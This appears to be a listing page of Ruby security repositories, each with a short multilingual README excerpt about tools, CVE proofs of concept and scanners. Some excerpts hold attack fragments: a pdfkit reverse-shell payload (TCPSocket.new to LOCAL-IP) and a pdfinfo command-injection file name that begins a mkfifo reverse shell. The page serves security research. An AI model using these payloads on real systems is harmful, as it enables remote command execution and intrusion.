pastenum

Pastenum Pastenum एक टेक्स्ट डंप गणना उपकरण है। इसे सार्वजनिक साइटों पर पोस्ट किए गए डेटाडंप और डॉक्स खोजने और गिनने में मदद करने के लिए डिज़ाइन किया गया है। यह वर्तमान में github.com, gist.github.com, pastebin.com, pastee.org और pastie.org साइटों की खोज करता है। Pastenum, nullthreat के मूल...

inspec_cve_2019_15224

uma gem rest-client maliciosa Em 19 de agosto de 2019, foi descoberto que a gem rest-client teve várias versões publicadas contendo código malicioso. Ao descobrir o rest-client malicioso, várias outras novas gems foram determinadas como portadoras de código semelhante. Cobertura:...

ctf-party

ctf-party O que é Uma ferramenta CLI e biblioteca para melhorar e acelerar a escrita de scripts/exploits para jogadores de CTF ou pesquisadores de segurança, caçadores de bugs, pentesters, mas principalmente focado em CTF ao estender a classe String para adicionar uma sintaxe curta de padrões de...

declarative-policy

DeclarativePolicy: Uma Biblioteca Declarativa de Autorização Esta biblioteca fornece uma DSL para escrever políticas de autorização. Ela pode ser usada para separar lógica de permissões e tem sido usada em escala em produção no GitLab.com. O autor original desta biblioteca é Jeanine Adkisson, e o...

hacker101

Hacker101 Hacker101 é uma aula gratuita sobre segurança web. Se você é um programador interessado em programas de recompensa por bugs ou um profissional de segurança experiente, o Hacker101 tem algo a ensinar para você. Primeiros Passos Pré-requisitos Ruby Sugestão: use rbenv bundler Execute gem...

CVE-2020-5902

CVE-2020-5902 BIG-IP CVE-2020-5902 Exploit POC e automação de varredura de vulnerabilidade programa simples para exploit big-ip e automação de varredura de vulnerabilidade instalação gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...

metasm

Metasm, a suíte de manipulação de assembly em Ruby scripts de exemplo em samples/ -- leia os comentários no início dos arquivos todos os arquivos são licenciados sob os termos da LGPL Autor: Yoann Guillot Visão geral básica: O Metasm permite que você interaja com formatos de executáveis ExeFormat...

heroku-CVE-2013-0269

heroku-CVE-2013-0269 Inspecione todos os seus aplicativos heroku para verificar se estão executando uma versão vulnerável do JSON Antecedentes Uma vulnerabilidade de segurança foi encontrada na gem JSON do Ruby. Esta é a causa raiz para o recentemente anunciado problema de injeção MySQL no Rails...

viproy-voipkit

Discontinued Viproy was a PoC VoIP security assessment tool which had several modules and exploits to maintain. However, it was developed as a modules set to Metasploit Framework. As Metasploit Framework had significant updates, Viproy's current modules won't be able to work unless you use legacy...

CVE-2016-2098

CVE-2016-2098 Action Pack no Ruby on Rails anterior a 3.2.22.2, 4.x anterior a 4.1.14.2 e 4.2.x anterior a 4.2.5.2 permite que atacantes remotos executem código Ruby arbitrário ao explorar o uso irrestrito do método render por uma aplicação. https://vulners.com/cve/CVE-2016-2098 Uso git clone...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Shell-Reverso pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modifique valores em negrito: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2019-5418-Scanner

CVE-2019-5418-Scanner Um scanner Golang multi-threaded para identificar endpoints Ruby vulneráveis ao CVE-2019-5418 Utilização Usage of ./CVE-2019-5418-Scanner: -auth string Perform a scan using a auth token i.e Basic YmFzZTY0VG9rZW5WYWx1ZQ== default "nope" -http Use HTTP over HTTPS -insecure...

ronin

ronin Website Source Issues Documentation Discord | Mastodon Description Roninwebsite is a free and Open Source Ruby toolkit for security research and development. Ronin contains many different CLI commands and Ruby librariesronin-rb for a variety of security tasks, such as encoding/decoding data...

wordlist.rb

Wordlist Fonte Problemas Documentação Descrição Wordlist é uma biblioteca Ruby e CLI para ler, combinar, mutar e construir wordlists, de forma eficiente. Recursos Suporta leitura de wordlists .txt e wordlists compactadas .gz, .bz2, .xz, .zip e .7z. Suporta a construção de wordlists a partir de...

hoper

Hoper Mostra todos os saltos que uma URL que você especifica faz para atingir seu destino. Por exemplo, se você quiser ver o caminho completo de uma URL de e-mail ou de um encurtador de URL. Hoper retorna todos os redirecionamentos de URL. Instalação $ gem install hoper Uso Digite na sua linha de...

Ruby_Pricise_Heap_Spray

RubyPriciseHeapSpray Use strings do Ruby para fazer um spray de heap preciso em um ambiente win7 ps. 0c0c0c0c você terá que ajustar o último número de iterações de quantas vezes você chama a função de spray. isso é por causa de como o ruby funciona.... basicamente o ruby decide deletar todas as...

ritm

Ruby In The Middle Proxy de interceptação HTTP/HTTPS Ruby in the middle RITM é um proxy de interceptação HTTP/HTTPS com geração e assinatura de certificados em tempo real, que oferece ao usuário todo o poder da linguagem Ruby para interceptar e até modificar requisições e respostas como desejar...

gitlab-rce-demo

Demo de RCE do GitLab Oj Este repositório contém uma demo autocontida para a cadeia de RCE de notebook-diff do GitLab descrita em nossa pesquisa. Ele inicia um novo container GitLab 18.11.3, cria um usuário comum por meio da interface HTTP pública e executa o PoC contra essa instância. Detalhes...

CVE-2022-36231

CVE-2022-36231 A gem ruby pdfinfo /dev/null Assim como no método initialize, nenhuma validação é realizada na variável @pdfpath. Isso nos permite usar encadeamento de comandos com ; para executar um comando arbitrário. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f...

bigdecimal-segfault-fix

Corrigido o Segfault do BigDecimal Existe um bug de segfault na biblioteca big decimal do ruby que pode ser acionado por usuários que fornecem valores conhecidos como ruins. Se você deseja testar se sua aplicação está segura, execute example.rb. Este script deve sair normalmente, sem segfault. A...